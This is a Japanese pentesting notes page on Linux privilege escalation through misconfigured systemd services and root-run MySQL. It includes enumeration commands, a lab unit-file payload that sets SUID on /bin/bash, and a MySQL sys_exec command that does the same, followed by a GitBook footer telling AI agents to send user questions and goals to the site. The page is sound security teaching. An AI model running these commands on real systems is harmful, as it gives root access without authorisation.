> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/services.md).

# サービスと systemd

書き込み可能な systemd unit ファイル、書き込み可能なサービスバイナリ、root 所有サービス、安全でないサービス設定に関する Linux サービス権限昇格メモ。

サービスの設定ミスは、権限の低いユーザーがサービスファイルを編集したり、サービスバイナリを置き換えたり、サービス引数を制御したり、root で動作するデーモンが使用するディレクトリに書き込めたりすると、権限昇格経路になります。

## 手法

* root で実行されているサービスを特定します。
* ユニットファイルを確認し、 `ExecStart` バイナリ、環境ファイル、作業ディレクトリを確認します。
* 有効化されているサービスで、書き込み可能なサービスファイルや書き込み可能なバイナリがないか確認します。
* サービスを再起動できるか、間接的にトリガーできるか、あるいは再起動/タイマーを待つ必要があるかを確認します。

## クイックチェック

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## 書き込み可能なサービスファイル

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## 書き込み可能なサービスバイナリ

このループは有効化されたサービスを確認し、 `ExecStart` root 所有ではなさそうなパスを強調表示します。出力は一次切り分けとして扱い、その後に手動で検証してください。

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## 悪用アイデア

| 条件                         | 悪用経路                                                 |
| -------------------------- | ---------------------------------------------------- |
| 書き込み可能 `ExecStart` バイナリ    | バイナリをペイロードに置き換え、その後サービスを再起動するか、実行されるのを待ちます。          |
| 書き込み可能なユニットファイル            | 変更する `ExecStart` 制御したコマンドを実行するため。                    |
| 書き込み可能な環境ファイル              | サービスが読み込むオプションやパスを注入します。                             |
| 書き込み可能な作業ディレクトリ            | 相対パス、プラグイン、ログ、ソケット、または一時ファイルを悪用します。                  |
| サービスが root で実行され、ファイルを解析する | パーサーの不具合、コマンドインジェクション、安全でない include、書き込み可能な設定を確認します。 |

ラボ用のユニットペイロード例:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

再読み込みと起動は、許可がある場合、または正式に承認されたテスト経路が確認できた場合にのみ行ってください:

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## root で実行されている MySQL

MySQL または MariaDB が root で実行され、危険な UDF/関数実行が利用可能であれば、直接 root 権限取得経路になり得ます。

```bash
ps aux | grep -i mysql
mysql -u root -p
```

MySQL 内では、利用可能なプラグイン/関数に応じて:

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

次に:

```bash
/bin/bash -p
```

これは環境依存性が非常に高いです。頼る前に、デーモンのユーザー、プラグインの可用性、正確なデータベース権限を確認してください。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/services.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
